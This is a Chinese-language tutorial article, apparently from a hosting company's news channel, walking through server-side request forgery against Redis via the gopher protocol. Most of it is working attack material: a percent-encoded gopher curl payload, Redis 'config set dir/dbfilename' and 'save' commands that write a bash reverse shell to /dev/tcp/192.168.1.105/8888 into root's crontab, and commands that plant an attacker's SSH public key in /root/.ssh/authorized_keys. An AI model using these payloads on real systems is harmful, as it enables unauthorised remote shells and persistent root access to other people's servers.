您好,登錄后才能下訂單哦!
這篇文章主要為大家展示了“Redis中服務(wù)端請(qǐng)求偽造SSRF的示例分析”,內(nèi)容簡(jiǎn)而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領(lǐng)大家一起研究并學(xué)習(xí)一下“Redis中服務(wù)端請(qǐng)求偽造SSRF的示例分析”這篇文章吧。
SSRF,即服務(wù)端請(qǐng)求偽造。當(dāng)服務(wù)器需要請(qǐng)求資源時(shí),請(qǐng)求的資源、協(xié)議、路徑等可被用戶控制。即可造成SSRF攻擊。
本文著重研究通過(guò) gopher協(xié)議 ,對(duì) Redis服務(wù) 進(jìn)行SSRF攻擊,進(jìn)而getshell。
首先先了解gopher協(xié)議為何物,格式是什么樣子:
gopher://<host>:<port>//<gopher-path>_后接TCP數(shù)據(jù)流
在我們測(cè)試攻擊redis時(shí),可以使用 linux 自帶的 curl進(jìn)行測(cè)試。
如果使用Centos,為了確保實(shí)驗(yàn)成功,最好將 Centos的 selinux關(guān)閉。
關(guān)閉 selinux:
setenforce 0
虛擬機(jī)裝臺(tái) Centos7即可。
redis安裝:
wget http://download.redis.io/releases/redis-4.0.6.tar.gz //下載redis壓縮包
yum install gcc //安裝make時(shí)必備的gcc
tar -xzvf redis-4.0.6.tar.gz //解壓壓縮包 cd redis-4.0.6 //進(jìn)入壓縮包目錄
make MALLOC=libc //編譯
cd src //編譯完成后會(huì)生成一個(gè)文件夾src,進(jìn)入src文件夾
make install //安裝
redis運(yùn)行:
在 redis-4.0.6 目錄下,redis.conf 是最初始的redis配置文件
redis-4.0.6/src 目錄下,有兩個(gè)最重要的可執(zhí)行文件:
redis-server -- 服務(wù)端
redis-cli -- 客戶端
直接運(yùn)行 服務(wù)端程序,即可開(kāi)啟 redis 服務(wù)。
./redis-server
直接運(yùn)行 客戶端程序,默認(rèn)連接本地的redis服務(wù):
./redis-cli
首先我們得開(kāi)啟抓包軟件,捕獲與redis通信的數(shù)據(jù)包。
在Linux中,可以用tcpdump來(lái)抓流量:
tcpdump -i lo -s 0 port 6379 -w redis.pcap
若是抓本地接口的流量,注意是lo不是eth0
我們先登錄,然后執(zhí)行 set key 操作:
將tcpdump抓到的包導(dǎo)出來(lái),用wireshark打開(kāi),追蹤TCP流
只看我們輸入的數(shù)據(jù),不看服務(wù)端返回的數(shù)據(jù),可以看到只有幾行:
在 “顯示和保存數(shù)據(jù)為” 這一位置,選擇 Hex轉(zhuǎn)儲(chǔ),將會(huì)得到如下的數(shù)據(jù):
其中 畫(huà)紅色框的就是一會(huì)用到的payload
將所有東西都復(fù)制出來(lái),使用編輯器去掉除了紅框以外的所有無(wú)關(guān)數(shù)據(jù)
然后給每個(gè)十六進(jìn)制值前加上一個(gè)百分號(hào),排成一行即可:
構(gòu)造 curl 請(qǐng)求:
curl -v 'gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%6b%65%79%31%0d%0a%24%36%0d%0a%76%61%6c%75%65%31%0d%0a' --output -
回顯:
查詢key:
可以成功設(shè)置key。
先配置redis為 需要密碼登錄:
修改redis下的配置文件 redis.conf,搜索 requirepass 關(guān)鍵字。
默認(rèn) requirepass 是被注釋的,將注釋符號(hào)刪除,再在 requirepass 后面填寫(xiě)想要給 redis 設(shè)置的密碼
配置好后啟動(dòng) redis 的命令為:
./redis-server redis配置文件路徑
嘗試攻擊有密碼redis:
首先,開(kāi)啟tcpdump抓包,然后在redis命令行中執(zhí)行操作:
重新抓流量,和之前一樣操作,發(fā)現(xiàn)密碼驗(yàn)證也就是加多了一個(gè)auth命令:
重復(fù)上文的步驟即可。
接下來(lái)講重點(diǎn):通過(guò) set key GetShell:
思路:
(1)將反彈shell命令寫(xiě)到定時(shí)任務(wù)里,攻擊機(jī)只需要開(kāi)一個(gè)netcat端口即可。
(2)寫(xiě)入ssh-keygen,進(jìn)行ssh免密登錄。
一個(gè)個(gè)細(xì)細(xì)道來(lái)。
基本要求:
redis需要是以 root 權(quán)限運(yùn)行,不然寫(xiě)不到 /var/spool/cron/ 目錄下
1.首先得知道 Linux 下的定時(shí)任務(wù)是個(gè)什么東西:
Linux下設(shè)置定時(shí)任務(wù)命令為 crontab
配置文件為 /etc/crontab
下面這張圖是配置文件里的內(nèi)容,很好的說(shuō)明了 crontab 配置的格式
這個(gè)配置文件應(yīng)該只是供參考用的,我們的定時(shí)任務(wù)需要自己手動(dòng)寫(xiě)在 /var/spool/cron/ 目錄下
如果我們要每分鐘執(zhí)行一次命令 echo1 > /tmp/1.txt
則可以這么操作:
vim /var/spool/cron/root //root是文件名,一般以執(zhí)行的用戶命名
在文件中寫(xiě)入
* * * * * root echo1 > /tmp/1.txt
保存退出后,重啟 crontab 服務(wù):
systemctl restart crond.service
即可每一分鐘執(zhí)行一次該命令
2.接著要知道linux下通過(guò)輸入輸出流反彈shell
命令:
/bin/bash -i >& /dev/tcp/192.168.1.105/8888 0>&1
直接看效果:
這里巧妙的結(jié)合了Linux中 文件描述符、重定向符和 /dev/
文件描述符 1 表示標(biāo)準(zhǔn)輸入
文件描述符 2 表示標(biāo)準(zhǔn)輸出
/bin/bash -i 表示的是調(diào)用bash命令的交互模式,并將交互模式重定向到 /dev/tcp/192.168.1.105/8888 中。
重定向時(shí)加入一個(gè)描述符 &,表示直接作為數(shù)據(jù)流輸入。不加 & 時(shí),重定向默認(rèn)是輸出到文件里的。
做個(gè)實(shí)例就清晰明了了
/dev/tcp/ip地址/端口號(hào) 是linux下的特殊文件,表示對(duì)這個(gè)地址端口進(jìn)行tcp連接
這里我們?cè)O(shè)置成攻擊機(jī)監(jiān)聽(tīng)的地址
最后面的 0>&1 。此時(shí)攻擊機(jī)和靶機(jī)已經(jīng)建立好了連接,當(dāng)攻擊機(jī)進(jìn)行輸入時(shí),就是這里的 0(標(biāo)準(zhǔn)輸入)
通過(guò)重定向符,重定向到 1(標(biāo)準(zhǔn)輸入)中,由于是作為 /bin/bash 的標(biāo)準(zhǔn)輸入,所以就執(zhí)行了系統(tǒng)命令了。
3.還需要知道Redis如何寫(xiě)入文件
Redis 中可以導(dǎo)出當(dāng)前數(shù)據(jù)庫(kù)中的 key 和 value
并且可以通過(guò)命令配置導(dǎo)出路徑和文件名:
config set dir /tmp/test //設(shè)置導(dǎo)出路徑 config set dbfilename root //設(shè)置導(dǎo)出文件名 save //執(zhí)行導(dǎo)出操作
可以看到,格式非常亂。不過(guò)還好linux中的cron不會(huì)報(bào)錯(cuò),只要讀到一行正確配置即可執(zhí)行。
通過(guò)crontab定時(shí)任務(wù) getshell
為了能讓linux能夠正確讀到一行,我們?cè)?set key 的時(shí)候手動(dòng)添加 \n(換行)
redis語(yǔ)句:
config set dir /var/spool/cron config set dbfilename root set test1 "\n\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.1.105/8888 0>&1\n\n\n" save
轉(zhuǎn)換成 gopher協(xié)議,進(jìn)行curl請(qǐng)求:
成功寫(xiě)入:
成功getshell:
注意:這里有一個(gè)坑點(diǎn)。
cron文件不需要寫(xiě)用戶名,不然會(huì)報(bào)錯(cuò):
(2)ssh免密登錄
在linux中,ssh可配置成免密登錄。
需要修改 ssh 配置文件 /etc/ssh/sshd_config
將
#StrictModes yes
改為
StrictModes no
然后重啟sshd即可
免密登錄條件:
客戶端生成公鑰和私鑰
將公鑰上傳至服務(wù)端 即可
在SSRF利用中,同樣需要root權(quán)限運(yùn)行 redis
如果不是root權(quán)限,需要能夠 ssh 登錄的用戶權(quán)限運(yùn)行 redis
正常免密登錄流程:
1.客戶端先生成公鑰和私鑰
使用工具 ssh-keygen:
ssh-keygen -t rsa
執(zhí)行完畢后將會(huì)在 用戶家目錄中的 .ssh文件夾中放有公鑰與私鑰 文件
有.pub后綴的就是公鑰,沒(méi)有.pub后綴的就是私鑰
2.上傳公鑰至服務(wù)器
將公鑰上傳至服務(wù)端的 /root/.ssh目錄下
嫌麻煩可以用 ssh-copy-id工具
3.重命名文件為authorized_keys
文件名要重命名為 authorized_keys
authorized_keys 文件內(nèi)容如下:
如果有多臺(tái)客戶端需要免密登錄,新起一行,新行中寫(xiě)對(duì)應(yīng)的客戶端的公鑰值即可
類似這樣:
4.免密登錄
傳好后即可免密登錄:
ssh免密登錄 getshelll
我們知道了要寫(xiě)入的文件位置、要寫(xiě)入的內(nèi)容(公鑰事先生成好),我們可以構(gòu)造redis語(yǔ)句了:
//先配置路徑 config set dir /root/.ssh config set dbfilename authorized_keys //寫(xiě)入公鑰 set test2 "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/unZTA0b1HtFsgjXlWM4Bt65Ubx72z/dkLJrqCJJpfsD+F27uix6J3GWuIKaHurabFR40eJ2EqWWs/FCKpBvnJ+msSWWyn9C8WyWY19HydE9ldIO8SjdoOfQ7pf0Q2dwMKSr6F3L8Dy04ULQsCwGEu8X0fdwCZIggagTwGXWZS/M89APJKSVn7v5jhgRy/dCSGwN5wwFakSQSbWtW396V/iP2svU7IAznqIX4tyZII/DX1751LqA0ufVzIoK1Sc9E87swjupDD4ZGxX6ks676JYQHdZSYHoQioM9kWVsB2ntBfBsIFHu+yX1V9tkTTB0E5eaWuitzzsi8xfAz0xBag3f8wiPvlbuLV/TwOXHABGt1HQNhg5wnfZYnebRNdn5QeDXNY1XtLjc3T9UTYe7FmT6hG+RvI+7OSywDIvaGq+PjAQN1KPOBFJtNG5iha3bYds05zR5LCM8ZzLRTcKP9Djo79fum8iOC8DjrxVp49RilDobr1/oZzn+91YJIq1M= root@kali\n\n\n" //保存 save
改成gopher協(xié)議格式:
查看 authorized_keys 文件:
成功免密登錄:
以上是“Redis中服務(wù)端請(qǐng)求偽造SSRF的示例分析”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對(duì)大家有所幫助,如果還想學(xué)習(xí)更多知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。